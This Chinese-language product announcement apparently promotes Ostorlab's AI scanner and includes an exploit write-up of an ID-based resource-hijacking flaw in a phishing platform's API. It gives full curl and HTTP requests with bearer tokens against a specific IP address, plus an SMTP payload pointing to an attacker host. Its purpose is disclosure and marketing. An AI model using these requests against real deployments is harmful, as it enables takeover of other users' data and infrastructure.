我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

产品

产品

Ostorlab 推出 Agentic Deep Scan:新一代漏洞扫描器

Ostorlab 推出了 Agentic Deep Scan,这是一款新一代漏洞扫描器,可验证 iOS、Android(即将支持 harmonyOS)和 Web 应用中的真实风险。借助自带密钥(BYOK)支持,团队可以在完全掌控自身数据和成本的同时,安全地体验其强大的扫描能力。

我们非常高兴地宣布推出 Agentic Deep Scan——Ostorlab 的新一代漏洞扫描器。它不只是又一款扫描器,而是一种截然不同的方法:它在 iOS、Android(即将支持 harmonyOS)和 Web 应用上模拟真实世界的攻击,并在贴近真实的条件下验证每一项发现。

借助自带密钥(Bring Your Own Key,BYOK)支持,您在体验这种新一代扫描方法的同时,可以完全掌控自己的数据和 AI 使用情况。

我们是唯一一个专门针对移动应用深入开展这项工作的平台,它将贴近真实的漏洞利用验证、跨组件分析和证据级的举证结合在一起,这是目前其他任何工具都无法提供的。

Ostorlab 平台上包含 Agentic Deep Scan 的扫描配置界面
Agentic Deep Scan:Ostorlab 平台上的新功能

Agentic Deep Scan 如何提供有实证支撑、可直接处理的发现

标准扫描器基于模式或特征码识别潜在问题。Agentic Deep Scan 则更进一步,每一项发现都在真实条件下经过验证,并附带证据级的举证:截图、请求/响应日志、设备日志以及分步复现过程,让团队能够专注于攻击者真正可以利用的风险。

示例扫描中经过验证的发现

Agentic Deep Scan 能够在线上应用中发现真实、可处理的风险。例如,我们的示例报告列出了 12 项严重级别的发现,其中包括 VulnBank.org 中的一个 JWT 身份验证绕过漏洞

Agentic Deep Scan 示例报告封面
Agentic Deep Scan 示例报告

VulnBank.org 中的 JWT 身份验证绕过漏洞使攻击者能够伪造具有更高权限(is_admin: true)的令牌,从而访问 /admin/create_admin 和 /admin/approve_loan/{loan_id} 等仅限管理员访问的端点。

这说明了身份验证和授权方面的弱点在真实条件下如何被利用,也说明了 Agentic Deep Scan 如何提供证据级的举证,让团队能够有把握地复现并修复问题。

Agentic Deep Scan 发现的真实漏洞

Agentic Deep Scan 在真实应用上运行,发现了多个此前未知的漏洞。其中一些发现在热门开源项目中仍在等待修复,这证明了该扫描器的有效性和实际影响。

在这些发现中,有一项因其严重程度而尤为突出:一个简单的 API 逻辑缺陷,可导致资源被完全接管。下面介绍 Agentic Deep Scan 如何发现、利用这一漏洞,并以具体证据证明其影响。

描述

用于创建资源的 API 端点未验证 POST 请求中的 'id' 参数是否已关联到某个现有资源。当攻击者在 POST 请求中包含一个现有资源的 ID 时,应用不会创建新资源,而是将该资源的所有权转移给攻击者。这使得攻击者可以完全窃取机密的钓鱼材料、目标邮箱列表(违反 GDPR)、凭据收集页面以及邮件发送基础设施。

根本原因

用于创建资源的 API 端点(POST /api/groups/、POST /api/templates/、POST /api/pages/、POST /api/smtp/)接受请求体中的 id 参数,却不验证该 ID 是否已属于其他用户的资源。当提供一个现有 ID 时,应用会更新(劫持)该资源而不是创建新资源,从而将所有权转移给已通过身份验证的攻击者。

存在漏洞的代码模式

API 处理程序接受包含 id 字段在内的完整 JSON 请求体:

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

处理程序直接处理传入的 JSON,既不剔除也不验证 id 字段,导致可以批量赋值现有资源的 ID。

漏洞利用证据

第 1 步 - 管理员创建一个机密目标组:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

第 2 步 - 攻击者(user_b)通过指定 ID 106 劫持该组:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

第 3 步 - 验证所有权已转移:

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

已确认存在漏洞的其他端点:

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

被窃取的数据:

  • 目标邮箱地址:john.victim@testcorp.com、jane.target@testcorp.com、bob.doe@financial.com
  • ID 为 113 的钓鱼模板,主题为 "Urgent: Your Account Security"
  • ID 为 60 的落地页,配置了凭据收集功能
  • ID 为 81 的 SMTP 发送配置

验证证据

验证尝试 1

带有 id=106 的 POST /api/groups/ 返回 HTTP 201 Created,所有权被转移给攻击者**

验证尝试 2

带有 id=113 的 POST /api/templates/ 返回 HTTP 201 Created

验证尝试 3

带有 id=60 的 POST /api/pages/ 返回 HTTP 201 Created

验证尝试 4

带有 id=81 的 POST /api/smtp/ 返回 HTTP 201 Created

验证尝试 5

原所有者访问被劫持的资源时收到 HTTP 404

验证尝试 6

攻击者访问被窃取的资源时收到 HTTP 200

验证尝试 7

根本原因

POST /api/groups/ 端点接受并处理 JSON 请求体中的 id 字段,却不验证该 ID 是否属于其他用户拥有的现有资源。后端直接使用客户端提供的 ID,当该 ID 指向其他用户的资源时,就会导致所有权转移。

存在漏洞的代码模式

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

漏洞利用证据

第 1 步 - 确认基线:管理员拥有 Group 110,攻击者无法访问:

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

响应: HTTP 200 - 该组包含 4 个机密目标邮箱

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

响应: HTTP 404 - {"message":"Group not found","success":false,"data":null}

第 2 步 - 攻击者通过指定现有 ID 劫持该组:

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

响应: HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

第 3 步 - 已验证所有权转移:

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

响应: HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

响应: HTTP 200 - 完整的组数据,包括原有目标:

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

通过 BYOK(自带密钥)试用 Agentic Deep Scan

Ostorlab 平台上的 BYOK 菜单,用户可在此添加 API 密钥并选择 AI 模型
Ostorlab 平台上的 BYOK 菜单

借助 BYOK(自带密钥),您可以使用自己的凭据安全地试用 Agentic Deep Scan,完全掌控您的数据和成本,轻松在您的应用上体验这种新一代扫描方法。

进一步了解 Agentic Deep Scan:
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan

标签:

Agentic Deep Scan